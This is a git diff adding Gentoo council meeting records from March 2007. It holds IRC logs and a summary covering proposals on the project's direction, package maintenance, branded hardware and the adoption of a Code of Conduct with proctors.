+Mar 08 16:49:23 <kingtaco|work> :p
+Mar 08 16:49:30 <robbat2> KingTaco, that's a no vote to your statement
+Mar 08 16:49:53 <kingtaco|work> ok
+Mar 08 16:50:03 <robbat2> else we risk the debian stability issue of everything getting slow
+Mar 08 16:50:04 <Kugelfang> kingtaco|work: *g*
+Mar 08 16:50:30 <kingtaco|work> vapier, UberL kloeri
+Mar 08 16:50:35 <UberL> no
+Mar 08 16:50:42 <Kugelfang> i have a different proposal
+Mar 08 16:50:53 <kingtaco|work> Kugelfang, wait a sec until mine is voted down
+Mar 08 16:50:57 <Kugelfang> will do
+Mar 08 16:51:05 <kloeri> I'd like it to be one direction and not the only direction
+Mar 08 16:51:06 <kingtaco|work> and you have to vote too
+Mar 08 16:51:22 <Kugelfang> i don't
+Mar 08 16:51:31 <Kugelfang> what's the proper term for that?
+Mar 08 16:51:36 <kloeri> so have a stable/enterprise tree and then the current more uptodate tree
+Mar 08 16:51:38 <kingtaco|work> er, you can abstain sure
+Mar 08 16:51:42 <Kugelfang> abstain?
+Mar 08 16:51:45 <Kugelfang> yes
+Mar 08 16:51:46 <Kugelfang> i abstain
+Mar 08 16:51:48 <kingtaco|work> it's the same as voting no though
+Mar 08 16:51:57 <kingtaco|work> one more no?
+Mar 08 16:52:27 <kingtaco|work> Kugelfang, rather, it has the same effect as voting no
+Mar 08 16:52:27 <kloeri> my vote is no if it's to be _the_ direction
+Mar 08 16:52:39 <kingtaco|work> ok, vote fails
+Mar 08 16:52:48 <kingtaco|work> Kugelfang, you had an idea?
+Mar 08 16:53:00 <Kugelfang> I'd like to propose to compilation of a list of essential packages
+Mar 08 16:53:18 <kingtaco|work> for what purpose and how would you define essential
+Mar 08 16:53:19 <Kugelfang> packages that should be treated with high care
+Mar 08 16:53:24 <kingtaco|work> plus keep in mind wolf isn't here
+Mar 08 16:53:26 <Kugelfang> and that should have two active maintainers
+Mar 08 16:53:39 <kingtaco|work> Kugelfang, you mean stuff that's in sys-* ?
+Mar 08 16:53:44 <Kugelfang> similar
+Mar 08 16:53:53 <Kugelfang> kde-base and gnome-base is as important
+Mar 08 16:53:56 <kingtaco|work> that's what I define as essential
+Mar 08 16:54:10 <kingtaco|work> Kugelfang, I completely disagree with you there
+Mar 08 16:54:10 <Kugelfang> ok, maybe essential is the wrong wording
+Mar 08 16:54:15 <kingtaco|work> yeah
+Mar 08 16:54:22 <kingtaco|work> popular would be better
+Mar 08 16:54:27 <Kugelfang> you proposed to move out "the cruft" to overlays
+Mar 08 16:54:32 <kingtaco|work> widely used perhaps
+Mar 08 16:54:47 <Kugelfang> i would like to have all of them in one reposository, but have higher standards for a subset
+Mar 08 16:55:06 <kingtaco|work> Kugelfang, hrm
+Mar 08 16:55:21 <kingtaco|work> I don't like the ideas of different standards but go on
+Mar 08 16:56:05 <Kugelfang> in short: not all packages have two maintainers, and fixing bugs can be a pain when people don't want "strangers" to work on it
+Mar 08 16:56:28 * yoshi_ has quit (Connection reset by peer)
+Mar 08 16:56:29 <Kugelfang> but for a well-defined list of packages, every dev could fix open bugs after a latency of (e.g.) 2 days
+Mar 08 16:56:40 <kingtaco|work> so you want to require herds with 2 active members for popular packages
+Mar 08 16:56:49 <Kugelfang> jupp
+Mar 08 16:56:56 <Kugelfang> and opt in for non-herd members
+Mar 08 16:57:03 * mpagano has quit (Client Quit)
+Mar 08 16:57:15 <Kugelfang> for a very well defined - read listed - set of packages
+Mar 08 16:57:25 <kingtaco|work> what do you mean opt in?
+Mar 08 16:57:28 <Kugelfang> i don'T want to step on maintainers' toes though
+Mar 08 16:57:31 <kingtaco|work> for non herd members
+Mar 08 16:57:32 <robbat2> i think some herds might have objections to that - per short-term fixes leading to long-term troubles
+Mar 08 16:57:49 <g2boojum> Kugelfang: People not wanting "strangers" to work on packages is a flaw, in my opinion.  As long as people don't break the packages, they should get over it.
+Mar 08 16:57:58 <Kugelfang> g2boojum: correct
+Mar 08 16:58:28 <Kugelfang> robbat2: yeah, we'd need to define that latency very well
+Mar 08 16:58:55 <Kugelfang> robbat2: and it would probably lead to better coordination between herd members / maintainers
+Mar 08 16:59:09 <kingtaco|work> guys, I think this is outside of the context of what wolf would have voted for, so we no longer have 7
+Mar 08 16:59:30 <kingtaco|work> can we open this up to public discussion and punt any vote to next month?
+Mar 08 16:59:35 * windzor_ has quit (Client Quit)
+Mar 08 16:59:35 <robbat2> in the meantime, could you tell us how the "branded" hardware differed from the certified hardware?
+Mar 08 16:59:47 <robbat2> just an overview quickly
+Mar 08 17:00:03 <kingtaco|work> branded hardware is a platform we design and market, as well as build the software
+Mar 08 17:00:10 <kingtaco|work> I'm thinking purpose built hardware
+Mar 08 17:00:19 <kingtaco|work> stuff with the efika is an obvious example
+Mar 08 17:00:26 <kingtaco|work> like a gentoo media center
+Mar 08 17:00:32 <kingtaco|work> or gentoo metrowifi access point
+Mar 08 17:00:52 <kingtaco|work> we would partner with OEMs, but the case badge would be gentoo
+Mar 08 17:01:04 <Kugelfang> that sounds very nice.. we'd need to get info from one of those OEMs first, but i'm all for that idea
+Mar 08 17:01:17 <kingtaco|work> Kugelfang, I've already talked to gensei
+Mar 08 17:01:24 <kingtaco|work> they are somewhat interested
+Mar 08 17:01:32 <robbat2> sure, i'm down with that concept
+Mar 08 17:01:34 <UberL> i need to go guys. is there anything else we're voting on?
+Mar 08 17:01:42 <kingtaco|work> nope, no votes
+Mar 08 17:01:55 <UberL> kk, cyas
+Mar 08 17:01:56 <Kugelfang> open floor?
+Mar 08 17:02:01 <Kugelfang> UberL: see you
+Mar 08 17:02:01 * UberL (n=uberlord@rsm.demon.co.uk) has left #gentoo-council
+Mar 08 17:02:02 <kingtaco|work> ok, we're down to 5, lets open floor
+Mar 08 17:02:06 * kingtaco|work sets mode -m #gentoo-council
+Mar 08 17:02:18 <kingtaco|work> who's doing logging + summ today?
+Mar 08 17:02:22 * blubb has quit (Remote closed the connection)
+Mar 08 17:02:27 * kingtaco|work looks at Kugelfang or robbat2 
+Mar 08 17:02:30 <robbat2> a quick note on something I mentioned early
+Mar 08 17:02:37 <robbat2> no, i'm not doing it. i need more sleep
+Mar 08 17:03:01 <kingtaco|work> Kugelfang, can you take care of the logs and summary?
+Mar 08 17:03:02 <Kugelfang> i have no loggin on
+Mar 08 17:03:05 <kingtaco|work> or you vapier
+Mar 08 17:03:09 <Kugelfang> give me a log and i'll do the summary though
+Mar 08 17:03:19 <kingtaco|work> I can email you logs in about 5 hours
+Mar 08 17:03:23 <Kugelfang> nod
+Mar 08 17:03:28 <kingtaco|work> my home box logs
+Mar 08 17:03:36 <robbat2> for tree-signing stuff, as of the very latest gnupg-2.0.3, upstream has make a design change in response to a possible security flaw, and it has a nice side effect of making the tree-signing (specifically the high-speed verification) possible in a different way
+Mar 08 17:03:36 <kingtaco|work> ok, I'll send out logs and you do the summ
+Mar 08 17:03:37 <kloeri> I have logs
+Mar 08 17:03:40 <marienz> (I have an irssi autolog if you need one, it's not exactly pretty though)
+Mar 08 17:03:53 <kingtaco|work> kloeri, ok, you work with danny then :)
+Mar 08 17:03:57 <kingtaco|work> robbat2, hows that
+Mar 08 17:04:04 <kloeri> nod
+Mar 08 17:04:04 <Kugelfang> i take everything, as long as it's in ASCII
+Mar 08 17:04:23 <solar> robbat2: the fd handling?
+Mar 08 17:04:43 <robbat2> the --status-fd and the issue of prepended text yes
+Mar 08 17:05:02 <robbat2> it didn't used to be able to seperate it easily, but it is now
+Mar 08 17:05:06 <kloeri> Kugelfang: my irssi log should be fine
+Mar 08 17:05:18 <NeddySeagoon> kingtaco|work, 'Own label' hardware is an expensive thing to do in the EU. The brand takes on liability for all regulatory compliance
+Mar 08 17:05:26 <Kugelfang> kloeri: :-)
+Mar 08 17:05:57 <Kugelfang> NeddySeagoon: he doesn't mean "Gentoo's metrowifi AP"
+Mar 08 17:06:01 * pauldv has quit ("KVIrc 3.2.5 Anomalies http://www.kvirc.net/")
+Mar 08 17:06:10 <Kugelfang> NeddySeagoon: he means "Foo Corporation's metrowifi AP, powered by Gentoo"
+Mar 08 17:06:16 <solar> robbat2: here is a new core advisory about it if you missed it. http://www.coresecurity.com/?action=item&id=1687
+Mar 08 17:06:32 <NeddySeagoon> Kugelfang, Ah ... thats a little different
+Mar 08 17:06:48 <kingtaco|work> NeddySeagoon, that's one of the things we'd have to investifate, but tbh, it would be a us company
+Mar 08 17:06:58 <kingtaco|work> as we're a US foundation
+Mar 08 17:07:03 <robbat2> solar: I know about it. Werner Koch released his patch before the advisory was out, because the advisory guys got delayed in releasing
+Mar 08 17:07:04 <Kugelfang> kingtaco|work: that's doesn't remove the liability ;-)
+Mar 08 17:07:18 <kingtaco|work> Kugelfang, perhaps it removes our ability to sell in the EU
+Mar 08 17:07:31 <kingtaco|work> but other companies have worked around it, we need to find out what they've done
+Mar 08 17:07:47 <Kugelfang> well, selling stuff or preparing that is not our task... that's up to the trustees
+Mar 08 17:07:55 <kingtaco|work> indeed
+Mar 08 17:08:10 <Kugelfang> i though you meant "powered by gentoo" brands?
+Mar 08 17:08:17 <kingtaco|work> but it's a direction we as developers can work towards while the trustees work out the legal mumbojumbo
+Mar 08 17:08:35 <kingtaco|work> Kugelfang, in my mind it's the same thing
+Mar 08 17:08:37 <solar> robbat2: i know taviso is not so very happy about it. more or less core regurgutated his previous research as thier own
+Mar 08 17:08:44 <kingtaco|work> we wouldn't be designing board and making the pcbs
+Mar 08 17:08:53 * ndansmith (n=ndansmit@c-67-168-234-215.hsd1.or.comcast.net) has left #gentoo-council
+Mar 08 17:09:07 <Kugelfang> kingtaco|work: nope!
+Mar 08 17:09:14 <robbat2> solar: ok, that makes him the 4th person I know of to indepentantly raise it
+Mar 08 17:09:23 <kingtaco|work> we would select the hardware, work with oems and develop a "product" based on their hardware
+Mar 08 17:09:33 <kingtaco|work> we provide the IP, they provide the hardware
+Mar 08 17:09:33 <Kugelfang> kingtaco|work: as long as we're not selling them and only get small revenues from the producer/Seller, we're save
+Mar 08 17:09:37 <kingtaco|work> more of a partnership
+Mar 08 17:09:59 <solar> KingTaco: I think that should fall under a Enterprise Gentoo. (an internal fork one might say..)
+Mar 08 17:10:05 <kingtaco|work> Kugelfang, we'd probably do it similar to how we "sell" the gensei workstations
+Mar 08 17:10:05 <NeddySeagoon> kingtaco|work, IF you buy some bits and screw them together, in the EU you are liable for safety, EMC, low voltage directive, CE marking etc. ... The low cost routes are still very expensive
+Mar 08 17:10:41 <robbat2> NeddySeagoon, physical bits or does it count per electron too?
+Mar 08 17:10:48 <kingtaco|work> NeddySeagoon, like I said, we would provide the hardware design specs and IP, the OEM would do the actual hardware
+Mar 08 17:10:59 <Kugelfang> we don't do hardware, we shouldn't do, and before going enterprise binary packages should be have less bugs than they have now
+Mar 08 17:11:10 <Kugelfang> -be
+Mar 08 17:11:21 <kingtaco|work> solar, it's the direction I'd like us to work towards
+Mar 08 17:11:29 <jmbsvicetto> kingtaco|work: Are you thinking only on enterprise hardware? Or are you talking about things like end-user laptops?
+Mar 08 17:11:32 <robbat2> some of the targeted hardware stuff has less tree requirements than an entire stable tree
+Mar 08 17:11:32 <NeddySeagoon> kingtaco|work, Physical bits ... liek screwing a PC together
+Mar 08 17:11:39 <kingtaco|work> NeddySeagoon, we wouldn't do that
+Mar 08 17:11:45 <solar> binary packages are quite stable. It's the ebuild-maintainers which are at fault for usually doing the wrong thing.
+Mar 08 17:12:03 <kingtaco|work> jmbsvicetto, the 2 initial markets I'm thinking of are embedded and server, but laptop is certainly an area where we could explore
+Mar 08 17:12:12 <kingtaco|work> I *don't* want to do desktop
+Mar 08 17:12:22 * tove (n=tove@smtp.gentoo.org) has left #gentoo-council
+Mar 08 17:12:28 <kingtaco|work> ubuntu and suse already have the lions share there
+Mar 08 17:12:43 <jmbsvicetto> kingtaco|work: I ask, because the tree for the laptop and the embedded/server market are substantially different ;)
+Mar 08 17:13:03 <kingtaco|work> jmbsvicetto, hence the overlays stuff I was talking about before
+Mar 08 17:13:10 <Kugelfang> solar: 14:09 < genone> well, I still think we need to redesign the whole binary package stuff from scratch at some point
+Mar 08 17:13:22 <Kugelfang> solar: i think other portage devs are disgreeing there
+Mar 08 17:13:44 <solar> Kugelfang: yeah well thats what he thinks. I know I've worked with the format more than anybody else.
+Mar 08 17:13:55 <solar> it could use some improvments but does not need an overhaul
+Mar 08 17:14:22 <jmbsvicetto> kingtaco|work: Personally, I'm very interested in the server market, for work. But as Kugelfang was saying, if that's *the* priority, we take the risk of sending away a great number of users
+Mar 08 17:14:26 <marienz> spaetz: eep
+Mar 08 17:14:30 <marienz> spaetz: sorry, wrong channel
+Mar 08 17:14:43 <spaetz> :-)
+Mar 08 17:14:55 <kingtaco|work> jmbsvicetto, and my proposal was voted down
+Mar 08 17:15:16 <kingtaco|work> I'll be doing some more work on it next month and see if I can come up with something better
+Mar 08 17:15:22 <jmbsvicetto> I noticed, but that doesn't mean that the issue isn't relevant
+Mar 08 17:15:55 <kingtaco|work> tbh, I don't want those users who only stick around for the rice
+Mar 08 17:15:59 <Kugelfang> kingtaco|work: you said you'd move cruft out of gentoo-x86 to overlays
+Mar 08 17:16:00 <marienz> I think you'll have to come up with a bit more technical details before this makes sense though
+Mar 08 17:16:01 <kingtaco|work> we have so much more to offer
+Mar 08 17:16:05 <Kugelfang> kingtaco|work: can you compile a list of those packages?
+Mar 08 17:16:10 <Kugelfang> kingtaco|work: need not be complete
+Mar 08 17:16:15 <Kugelfang> kingtaco|work: but some examples would be nice
+Mar 08 17:16:24 * armin76 (n=armin@gentoo/developer/armin76) has left #gentoo-council ("Leaving")
+Mar 08 17:16:28 <kingtaco|work> Kugelfang, find /usr/portage | grep -v sys-* would be a start
+Mar 08 17:16:35 <robbat2> there are also a lot of users that are here for the flexibility itself, not the ricing
+Mar 08 17:16:36 <Kugelfang> huh?
+Mar 08 17:16:39 <marienz> I think a lot of us don't want the rice users, but it'd be kinda annoying if I'm not allowed to stick around as desktop user :)
+Mar 08 17:16:42 <kingtaco|work> an example is my spca5xx stuff
+Mar 08 17:16:51 <kingtaco|work> that has no reason being in the primary tree
+Mar 08 17:17:08 <kingtaco|work> other than we don't have a good way of having supplimentary trees
+Mar 08 17:17:16 <solar> without a proper stats project you will never really know.
+Mar 08 17:17:20 <Kugelfang> !meta spca5xx
+Mar 08 17:17:21 <jeeves> Kugelfang: Package: media-video/spca5xx Herd: no-herd Maintainer: kingtaco@gentoo.org
+Mar 08 17:17:34 <kingtaco|work> it's a drive for shitty usb webcams
+Mar 08 17:18:01 <jmbsvicetto> kingtaco|work: The way you're putting it, I wonder if you're thinking in Ubuntu
+Mar 08 17:18:23 <Kugelfang> world vs universe?
+Mar 08 17:18:24 <jmbsvicetto> kingtaco|work: I have one of those shitty usb webcams, so thank you for putting it in ;)
+Mar 08 17:18:27 <kingtaco|work> jmbsvicetto, tbh, I haven't installed ubuntu in almost 2 years
+Mar 08 17:18:50 <jmbsvicetto> kingtaco|work: I've never installed it myself. I just helped a few people looking into it
+Mar 08 17:19:04 <robbat2> with maintaining stuff for stable, there's one thing I've run into, and i'm sorry that I was the one that came up with the idea in the first place
+Mar 08 17:19:10 <jmbsvicetto> Kugelfang: I think that's what they call them. IIRC, they have several trees as well, right?
+Mar 08 17:19:18 <robbat2> and that was ebuilds where the majority of functionality has moved to the eclass
+Mar 08 17:19:21 <robbat2> eg php and mysql
+Mar 08 17:19:54 <robbat2> simple because it's becoming harder and harder to accurately say emerge foo-$ver-$rev  will get you an exact set of behavior
+Mar 08 17:23:11 <Pylon> Make sure having a search engine for all packages in all available overlays.  That's the cool thing currently having one big tree.
+Mar 08 17:23:40 <welp[lap]> Pylon, eix already does that with overlays in layman
+Mar 08 17:23:51 <robbat2> you have to have the overlays on your system for that
+Mar 08 17:23:57 <welp[lap]> nope
+Mar 08 17:24:02 <welp[lap]> there's a remote-sync thnigie
+Mar 08 17:24:04 <welp[lap]> *thingie
+Mar 08 17:24:13 <welp[lap]> isn't there?
+Mar 08 17:24:14 <Pylon> welp[lap]: Only those which you added locally.  But how can you find out the overlay where your desired package is in?
+Mar 08 17:24:17 <Kugelfang> there's still the problem of inter-overlay frpd
+Mar 08 17:24:32 <Kugelfang> and portage doesn't support more than 3 hardcoded repositories
+Mar 08 17:24:37 * doc|home has quit ("Connection reset by Peer-Directed Projects Center")
+Mar 08 17:24:49 <Kugelfang> actually, it's exactly 3 hardcodede repositories iirc
+Mar 08 17:25:03 <welp[lap]> Pylon, what about update-eix-remote?
+Mar 08 17:25:49 <Kugelfang> welp[lap]: uhm, th epoint of multiple overlays is to not need to sync them all
+Mar 08 17:26:04 <Pylon> welp[lap]: Seems like an inaccurate description of this tool in it's --help output ;)
+Mar 08 17:27:22 <jokey> Pylon: update-eix-remote
+Mar 08 17:27:23 <jokey> ;)
+Mar 08 17:27:54 <jokey> then you have all layman'ed overlays available for searching
+Mar 08 17:27:59 <Pylon> jokey: Yes.  Now I know what it does.  But the description is irritating.
+Mar 08 17:28:08 <welp[lap]> the eix database on my machine has info on over 65(?) overlays
+Mar 08 17:28:14 <welp[lap]> i think
+Mar 08 17:28:29 <Pylon> 88
+Mar 08 17:28:47 <Pylon> In the current eix-caches.tbz2
+Mar 08 17:29:18 <welp[lap]> hmm, 13644 packages.
+Mar 08 17:29:25 <Pylon> Well, that's a start.  But I know many people who only use the websearch on packages.gentoo.org.  Or even some non-official websites.
+Mar 08 17:29:50 <welp[lap]> like gentoo-portage.com?
+Mar 08 17:30:00 <Pylon> I didn't want to name it ;-)
+Mar 08 17:30:05 <welp[lap]> hehe
+Mar 08 17:30:12 * welp[lap] has it bookmarked :o
+Mar 08 17:30:28 <Pylon> Probably because the design is better…
+Mar 08 17:30:47 <kingtaco|work> I never liked gentoo-portage
+Mar 08 17:30:48 <Pylon> And more Web2.0-like.
+Mar 08 17:30:51 <welp[lap]> but it has too much info imo
+Mar 08 17:30:55 <kingtaco|work> packages is easier on the eyes
+Mar 08 17:30:57 <welp[lap]> may as well just look at the build
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070315-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20070315-summary.txt
new file mode 100644
index 00000000..8991e637
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070315-summary.txt
@@ -0,0 +1,42 @@
+Summary of special council meeting 2007/March/15, for the Gentoo CoC
+--------------------------------------------------------------------
+* wolf31o2 posted a temporary version to his devspace, containing suggestions
+  and clarifications from the Q&A session.
+
+* vapier has some further modifications, including: 
+- dropping the all caps to regular case text (accepted)
+- rewording of wanting everybody to be ready to apologize to rather taking
+  responsibility for your actions (accepted)
+- wanting to involve the ombudsman in the consequences section (not accepted,
+  as the ombudsman is for inter-developer conflict).
+
+* robbat2 brought up a set of five conditions to apply to the CoC, given the
+  other input on the mailing lists and the Q&A session.
+- Conditions #1 (that the document is fluid) and #5 (that council may not be
+  proctors) were added directly to the CoC.
+- Conditions #2 (working on a more final version) and #4 (regular review of
+  proctor actions by the council) were included in the vote.
+- Condition #3 (to find a better name than proctors) was not agreed upon, as
+  it was realized that no single title would ever fit.
+
+* The motion was called for accepted the CoC with the above modifications, as
+  well as revisiting it next council meeting, and reviewing the actions of
+  proctors during every council meeting.
+- Passed 6 votes for yes, and 1 for abstain (vapier).
+- The document was commited to the council project space temporarily,
+  until a better location is found for it:
+  http://www.gentoo.org/proj/en/council/coc.xml
+
+
+* There was an initial discussion about who the initial group of proctors, are
+  and kloeri and kingtaco agreed to work together on finding them. wolf31o2 and
+  kugelfang were too busy with their work in the 2007.0 release to get involved
+  there.
+- seemant and g2boojum were mentioned as potential initial candidates,
+  combined with the forums moderators and the #gentoo ops focusing on their own
+  areas of specialization.
+
+* robbat2 is working on the implementation of mailing-list stuff from the
+  infrastructure side, linking his implementation plan, and asked for any
+  short-term needs to be brought to him directly until the initial application
+  is ready to go in a few hours.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070315.txt b/xml/htdocs/proj/en/council/meeting-logs/20070315.txt
new file mode 100644
index 00000000..d761062b
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070315.txt
@@ -0,0 +1,228 @@
+Mar 15 13:59:49 Kugelfang	*bling bling bling*
+Mar 15 13:59:52 *	wolf31o2|mobile has changed the topic to: Code of Conduct Q&A session at March 14th, 2100UTC ; Voting on CoC @ March 15th, 2100UTC ; http://dev.gentoo.org/~wolf31o2/coc.xml
+Mar 15 13:59:54 Kugelfang	meeting time?
+Mar 15 14:00:11 wolf31o2|mobile	yup
+Mar 15 14:00:17 wolf31o2|mobile	http://dev.gentoo.org/~wolf31o2/coc.xml
+Mar 15 14:00:45 wolf31o2|mobile	here's an update to the coc that was written, including some suggestions and clarifications from yesterday
+Mar 15 14:01:00 kloeri	just read it 5 seconds ago :)
+Mar 15 14:01:35 *	wolf31o2|mobile sets mode +m #gentoo-council
+Mar 15 14:01:40 Kugelfang	wolf31o2|mobile: s/Respect someones/Respect someone's/
+Mar 15 14:01:51 Kugelfang	wolf31o2|mobile: 3rd paragraph
+Mar 15 14:01:57 wolf31o2|mobile	Kugelfang: typographical... doesn't change content... but thanks
+Mar 15 14:01:58 Kugelfang	wolf31o2|mobile: first bulletpoint
+Mar 15 14:02:06 Kugelfang	nod... i'm a nitpicker ;-)
+Mar 15 14:02:08 wolf31o2|mobile	dont' address me
+Mar 15 14:02:13 wolf31o2|mobile	I didn't write/edit it
+Mar 15 14:02:17 wolf31o2|mobile	I just uploaded it
+Mar 15 14:02:18 wolf31o2|mobile	:P
+Mar 15 14:03:01 robbat2	hi
+Mar 15 14:03:21 robbat2	kingtaco|work, get in here
+Mar 15 14:03:22 *	expose has quit (Nick collision from services.)
+Mar 15 14:03:26 kingtaco|work	I am
+Mar 15 14:03:40 kingtaco|work	jeez, can't a guy have a smoke or 20 ?
+Mar 15 14:03:45 wolf31o2|mobile	heh
+Mar 15 14:03:48 *	expose_ (n=nobody@82.139.196.236) has left #gentoo-council
+Mar 15 14:03:58 *	expose (n=nobody@82.139.196.236) has joined #gentoo-council
+Mar 15 14:04:35 kloeri	who's missing? vapier and uber?
+Mar 15 14:05:05 kingtaco|work	should probably link robbat2's stuff as well
+Mar 15 14:05:10 kingtaco|work	robbat2, ?
+Mar 15 14:06:10 robbat2	one sec
+Mar 15 14:06:13 vapier	?
+Mar 15 14:06:34 vapier	http://rafb.net/p/qrNRyr49.html
+Mar 15 14:06:42 *	nightmorph (n=nightmor@gentoo/developer/nightmorph) has joined #gentoo-council
+Mar 15 14:07:10 *	Chainsaw (n=chainsaw@gentoo/developer/Chainsaw) has joined #gentoo-council
+Mar 15 14:07:12 robbat2	http://dev.gentoo.org/~robbat2/coc-conditions.txt
+Mar 15 14:08:03 *	phreak`` (n=phreak``@gentoo/developer/phreak) has joined #gentoo-council
+Mar 15 14:08:06 robbat2	ok, so we've all gone off and done this seperately it seems :-(
+Mar 15 14:08:24 kloeri	I haven't :)
+Mar 15 14:08:53 *	hoffie (n=hoffie@e.rootservers.org) has joined #gentoo-council
+Mar 15 14:09:15 wolf31o2|mobile	vapier: look at the updated version in my dev space, pelase
+Mar 15 14:09:37 vapier	too many
+Mar 15 14:09:47 robbat2	there's only 3 things in vapier's that aren't addressed in your update
+Mar 15 14:09:50 vapier	someone start combining them
+Mar 15 14:09:59 robbat2	i'll point them out quickly
+Mar 15 14:10:00 Kugelfang	i love the name "proctors"
+Mar 15 14:10:05 *	windzor (n=windzor@82.143.229.82) has joined #gentoo-council
+Mar 15 14:10:12 robbat2	diffences between vapier/wolf31o2 versions:
+Mar 15 14:10:14 robbat2	1. drop caps
+Mar 15 14:10:30 robbat2	2. "If you screw up, apologize sincerely" vapier calls it lame
+Mar 15 14:10:54 robbat2	3. "ombudsman should probably be more involved" in consequences
+Mar 15 14:11:24 robbat2	vapier: read my conditions link, as those are seperate to wolf31's changes
+Mar 15 14:11:44 *	dev-zero (n=TizianoM@gentoo/developer/dev-zero) has joined #gentoo-council
+Mar 15 14:13:09 wolf31o2|mobile	give me like 5 and I'll update
+Mar 15 14:13:16 wolf31o2|mobile	(and they weren't my changes, dammit)
+Mar 15 14:15:03 *	blackace (n=blackace@gentoo/developer/blackace) has joined #gentoo-council
+Mar 15 14:17:18 wolf31o2|mobile	bleh... this is fun
+Mar 15 14:17:51 Kugelfang	what happened?
+Mar 15 14:18:08 wolf31o2|mobile	how about s/apologize sincerely/take responsibility for your actions/ ?
+Mar 15 14:18:16 wolf31o2|mobile	Kugelfang: sorry... I'm editing
+Mar 15 14:18:26 Kugelfang	:-)
+Mar 15 14:18:36 kloeri	wolf31o2|mobile: I like that
+Mar 15 14:18:45 robbat2	+1 here for now
+Mar 15 14:18:48 wolf31o2|mobile	vapier: can you look at it (updated it) and see if you have anything else to add that isnt' in robin's comments ?
+Mar 15 14:18:56 kingtaco|work	wfm
+Mar 15 14:19:35 Kugelfang	wolf31o2|mobile: someone's ;-)
+Mar 15 14:19:36 robbat2	wolf31o2|mobile, err, did you miss vapier's ombusdman bit?
+Mar 15 14:19:45 robbat2	ombudsman
+Mar 15 14:19:51 Kugelfang	wolf31o2|mobile: and there is still one capital "RESPECTFULLY"
+Mar 15 14:19:58 Kugelfang	wolf31o2|mobile: in the 3 paragraph
+Mar 15 14:20:08 Kugelfang	+rd
+Mar 15 14:20:26 wolf31o2|mobile	somebody write something for it
+Mar 15 14:20:34 wolf31o2|mobile	don't leave it all to me
+Mar 15 14:20:34 wolf31o2|mobile	heh
+Mar 15 14:20:47 robbat2	one sec then
+Mar 15 14:20:52 Kugelfang	i don't think the ombudsman is involved there
+Mar 15 14:21:00 robbat2	"appeals should be addressed to the ombudsman and the Gentoo Council via email at council@gentoo.org"
+Mar 15 14:21:04 Kugelfang	the ombudsman is for dev<->dev problems
+Mar 15 14:21:14 Kugelfang	this is about communication problems
+Mar 15 14:22:21 robbat2	hmm, point there
+Mar 15 14:22:36 wolf31o2|mobile	ok... updated
+Mar 15 14:23:35 wolf31o2|mobile	if anyone has anything, let me know... but this should be good enough to cover us until the next meeting... also, you'll notice that nowhere does it define what proctors can/can't be (other than council members) meaning that for the interim, I think that forums mods and #gentoo ops could be considered fillign that capacity, so long as there's a few others to do oversight for the next meeting
+Mar 15 14:24:01 *	pusling (i=pusling@195.215.29.124) has left #gentoo-council
+Mar 15 14:24:09 Kugelfang	i want grant in there, too
+Mar 15 14:24:14 Kugelfang	if he volunteers
+Mar 15 14:24:20 wolf31o2|mobile	that's fine
+Mar 15 14:24:21 Kugelfang	g2boojum: ping?
+Mar 15 14:24:33 kloeri	I'm fine with that
+Mar 15 14:24:47 robbat2	points 2,3,4 from mine are still valid, but apply directly to the document rather than being changes that need to be in it
+Mar 15 14:24:55 kingtaco|work	yeah
+Mar 15 14:25:03 robbat2	in specific, and for the log of this meeting:
+Mar 15 14:25:10 kingtaco|work	are we selecting the first round of people?
+Mar 15 14:25:13 robbat2	2. people need to work together and bring us a revised CoC
+Mar 15 14:25:16 kingtaco|work	I'd rather that
+Mar 15 14:25:29 robbat2	3. people need to find another name than proctors
+Mar 15 14:25:37 wolf31o2|mobile	kingtaco|work: in addition to the forums/#gentoo guys, you mean?
+Mar 15 14:25:40 g2boojum	Kugelfang: I'm not really around until next week.  (I also haven't read back, so I've no idea what I'm being pinged about just yet.)
+Mar 15 14:25:56 robbat2	4. council should reguarlly review actions taken by proctors
+Mar 15 14:26:18 Kugelfang	g2boojum: i want you to be part of the proctors group if you afree
+Mar 15 14:26:20 Kugelfang	agree
+Mar 15 14:26:26 kingtaco|work	wolf31o2|mobile, I think we should include some of those people because they have experence, but not necessarly all of them
+Mar 15 14:26:36 wolf31o2|mobile	I definitely agree with 2 and 4... I think 3 is kinda one of those things where nothing will ever fit, so what't the point in changing the title, as it gains us nothing anyway
+Mar 15 14:26:39 kingtaco|work	Kugelfang, no fair, I wanted him first
+Mar 15 14:26:48 Kugelfang	kingtaco|work: hah... never!
+Mar 15 14:26:49 kingtaco|work	NASA love triangle!
+Mar 15 14:27:02 wolf31o2|mobile	kingtaco|work: for the permanent list, sure... but for the interim (as in, until next council meeting when we can get everything hashed out ahead of time)
+Mar 15 14:27:57 kingtaco|work	wolf31o2|mobile, lemme rephrase, the forums and #gentoo people have done a good job at this in their places, but I don't feel comfortable with solely them doing the other mediums
+Mar 15 14:28:12 kingtaco|work	so I'd like a couple more people
+Mar 15 14:28:21 kingtaco|work	seemant, g2boojum in particular
+Mar 15 14:28:39 g2boojum	Kugelfang: Okay.  If I end up too busy, I'll let the council know.  I'm rarely likely to be good at "rapid response" right now, though.
+Mar 15 14:28:47 wolf31o2|mobile	kingtaco|work: definitely... I thought I'd made that clear... sorry... and I agree that we should have a better list for the next meeting, including people from both groups
+Mar 15 14:29:09 Kugelfang	g2boojum: noted
+Mar 15 14:29:11 kingtaco|work	aight
+Mar 15 14:29:22 *	rullzer has quit (Client Quit)
+Mar 15 14:29:24 robbat2	did Uber show up yet?
+Mar 15 14:29:30 Kugelfang	nope
+Mar 15 14:30:05 *	wolf31o2|mobile pokes Uber a couple more times for effect
+Mar 15 14:32:06 Uber	sorry, here
+Mar 15 14:32:10 Kugelfang	ahh
+Mar 15 14:32:14 Kugelfang	so we can vote now?
+Mar 15 14:32:28 kingtaco|work	let's be clear on what version we're voting on
+Mar 15 14:32:31 kingtaco|work	wolfs ?
+Mar 15 14:32:33 Kugelfang	wolf's
+Mar 15 14:32:37 kingtaco|work	anything added to that
+Mar 15 14:32:44 kingtaco|work	like stuff from robbat2 ?
+Mar 15 14:32:55 Kugelfang	see above^^^
+Mar 15 14:33:39 kingtaco|work	Kugelfang, not to be pedantic, but I'd rather just list everything we're voting on all at once
